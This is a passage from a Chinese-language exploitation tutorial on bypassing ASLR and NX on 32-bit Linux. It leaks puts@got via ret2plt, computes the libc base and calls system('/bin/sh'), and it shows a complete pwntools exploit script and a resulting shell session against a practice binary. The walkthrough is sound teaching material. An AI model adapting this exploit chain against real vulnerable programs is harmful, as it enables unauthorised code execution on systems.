ASLR的设计愿景很美好, 但不是完美的. 尤其是在32位地址空间中, 其中一个 缺陷就是被内存碎片问题限制了ASLR的实现. 从前面的内存映射图中可以看到, 地址空间被切分为几个大块, 其中留下了一些小空隙. 而程序或者动态库加载入 内存时, 通常要求一定大小的连续空间, 这么一来, 虽然地址可以随机化, 但也只能在一个较小的范围内操作.
ASLR的可靠性是建立在地址随机且无法猜测的基础上, 但较小的随机范围, 就可以通过暴力猜测有限的次数来获得, 用术语来说就是, 熵太低. 通常32位系统 可提供随机的地址空间也就只有16位, 通常可以在几分钟内爆破出来. 当然, 前提是程序不能在中途崩溃退出. 这个问题在64位系统下稍微有所缓解, 但也并不是绝对的.
泄露地址
绕过ASLR的方法, 其实和绕过Canary有点类似. 在程序的一次运行过程中, 地址空间的布局只在被加载时随机化一次, 所以在运行过程中, 先在第一阶段 获取实际的地址, 再第二阶段构造相应的payload就可以实现上述的利用.
这里还是以上节使用的victim_nx
为例, 来说明如果在ASLR情况下利用.
再次看下运行时候的选项:
$ gdb ./victim_nx
(gdb) source ~/tools/peda/peda.py
gdb-peda$ aslr on
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$ aslr
ASLR is ON
我们的计划分为两步, 第一步和之前绕过NX时Return-to-libc类似, 还记得之前让大家 记住的那个地址吗, 就是我们填充为BBBB的那个. 我们还是用类似的方法, 不过这次是 Return-to-plt, 第一轮攻击后栈布局如下:
...[22字节]+[puts@plt]+[entry_point]+[puts@got]
这样的作用是调用puts@plt, 其输入参数为puts@got, 且调用结束后返回程序的入口点.
为什么是puts? 因为这里已知程序中用到puts函数(printf实际上调用了puts), 如果是新程序可以通过
readelf --relocs ./victim_nx
来查看重定向.
之前都是用单行python来输出payload, 这次由于有分步骤多次交互, 所以就写一个 python脚本来测试和利用, 为了方便用pwntools框架先写个基本框架:
# exp.py
# -*- coding: utf-8 -*-
from pwn import *
# 地址
puts_plt = 0x8048350
puts_got = 0x804a010
entry_point = 0x8048390
def main():
p = process('./victim_nx')
# stage 1
payload = 'A' * 22
ropchain = p32(puts_plt)
ropchain += p32(entry_point)
ropchain += p32(puts_got)
payload = payload + ropchain
log.info('payload: {}'.format(repr(payload)))
p.clean()
p.sendline(payload)
p.recvlines(1) #先忽略掉正常输出的一行
leak = p.recv(4)
leak = u32(leak)
log.info('puts@plt is at: 0x{:x}'.format(leak))
p.clean()
if __name__ == '__main__':
main()
我们需要填入三个地址, 分别是puts@plt
, puts@got
和程序入口点entry_point
.
如果禁用了位置无关(-no-pie)编译, 可执行文件本身还是会加载到绝对虚拟地址的:
查看puts@plt的地址:
objdump -d -j .plt ./victim_nx | grep puts
08048350 <puts@plt>:
查看puts@got的地址:
readelf --relocs ./victim_nx | grep puts
0804a010 00000207 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0
查看起始地址:
$ readelf -h ./victim_nx | grep Entry
Entry point address: 0x8048390
运行两次看看:
$ python exp.py
[+] Starting local process './victim_nx': pid 32682
[*] payload: 'AAAAAAAAAAAAAAAAAAAAAAP\x83\x04\x08\x90\x83\x04\x08\x10\xa0\x04\x08'
[*] puts is at: 0xf7558870
[*] Stopped process './victim_nx' (pid 32682)
$ python exp.py
[+] Starting local process './victim_nx': pid 32689
[*] payload: 'AAAAAAAAAAAAAAAAAAAAAAP\x83\x04\x08\x90\x83\x04\x08\x10\xa0\x04\x08'
[*] puts is at: 0xf75b7870
[*] Stopped process './victim_nx' (pid 32689)
可以看到两次输出的puts地址都不一样, 所以我们无法在运行前预测到这个地址. 第一阶段完成了, 输出了puts的地址并回到程序起点. 因为只是跳转到程序起点 而不是重启程序, 所以这次我们可以利用输出的puts地址进行第二阶段的利用.
第二阶段
根据输出的puts地址, 我们可以根据其想对于libc的偏移, 计算出libc基址, 然后根据libc基址, 获得system函数和"/bin/sh"字符串的地址, 最后跳转执行. 第二阶段的payload和普通的ret2libc差不多:
...[22字节][system地址(返回地址)][4字节]["/bin/sh"地址]
为此, 我们需要知道三者的偏移量, 这里用radare2套件中的rabin2和rafind2:
$ rabin2 -s /lib/i386-linux-gnu/libc.so.6 | egrep 'puts|system'
435 0x0005f870 0x0005f870 WEAK FUNC 509 puts
1461 0x0003ab30 0x0003ab30 WEAK FUNC 55 system
$ rafind2 -z -s /bin/sh /lib/i386-linux-gnu/libc.so.6
0x15ce48
通过简单的小学数学, 我们就能计算出想要的内存地址了, 加上第二阶段payload如下:
# -*- coding: utf-8 -*-
from pwn import *
# 地址
puts_plt = 0x8048350
puts_got = 0x804a010
entry_point = 0x8048390
# 偏移
offset_puts = 0x0005f870
offset_system = 0x0003ab30
offset_str_bin_sh = 0x15ce48
def main():
p = process('./victim_nx')
# stage 1
payload = 'A' * 22
ropchain = p32(puts_plt)
ropchain += p32(entry_point)
ropchain += p32(puts_got)
payload = payload + ropchain
log.info('payload: {}'.format(repr(payload)))
p.clean()
p.sendline(payload)
p.recvlines(1) #先忽略掉正常输出的一行
leak = p.recv(4)
leak = u32(leak)
log.info('puts is at: 0x{:x}'.format(leak))
p.clean()
# stage 2
libc_base = leak - offset_puts
log.info('libc_base is at 0x{:x}'.format(libc_base))
payload = 'A' * 22
ropchain = p32(libc_base + offset_system)
ropchain += 'BBBB'
ropchain += p32(libc_base + offset_str_bin_sh)
payload = payload + ropchain
p.sendline(payload)
log.success('Shell is comming!')
p.clean()
p.interactive()
if __name__ == '__main__':
main()
让我们运行一下看这个exploit的结果如何:
$ python exp.py
[+] Starting local process './victim_nx': pid 593
[*] payload: 'AAAAAAAAAAAAAAAAAAAAAAP\x83\x04\x08\x90\x83\x04\x08\x10\xa0\x04\x08'
[*] puts is at: 0xf7618870
[*] libc_base is at 0xf75b9000
[+] Shell is comming!
[*] Switching to interactive mode
$ whoami
pan
$ uname -a
Linux debian 4.9.0-4-amd64 #1 SMP Debian 4.9.65-3+deb9u1 (2017-12-23) x86_64 GNU/Linux
$ exit
[*] Got EOF while reading in interactive
[*] Process './victim_nx' stopped with exit code -11 (SIGSEGV) (pid 593)
[*] Got EOF while sending in interactive
完美地绕过了ASLR和NX的保护, 成功获取shell! 这里把shellcode执行后的返回地址设为’BBBB’,
因为我们并不关心后续如何, 如果你想优雅退出程序的话, 将其改为exit
函数的地址即可,
这个就留给同学们自己实现了:)
Windows
最后提下Windows系统. Windows Vista及其之后的版本支持在链接可执行文件或DLL时启用ASLR, 但对其他模块却默认不启用, 所以对于windows系统, 我们可以通过未启用ASLR的模块来绕过该保护.
总结
本文从最初的栈溢出开始, 逐步介绍了缓冲溢出的缓解措施以及绕过方法. 值得注意的是, 每种漏洞缓解措施单独来看都是脆弱的, 比如ASLR本身无法防止jmp esp执行shellcode, 而NX本身又很容易被ret2libc绕过. 很多漏洞缓解措施虽然各个操作系统实现不同, 但原理也是相通的. 所以只有分别了解其原理, 才能在漏洞利用中灵活地选取突破策略.
最后, 感谢RE4B群里小伙伴们的热心答疑, 特别是Larryxi大神, 总是能一针见血地指出 问题要害!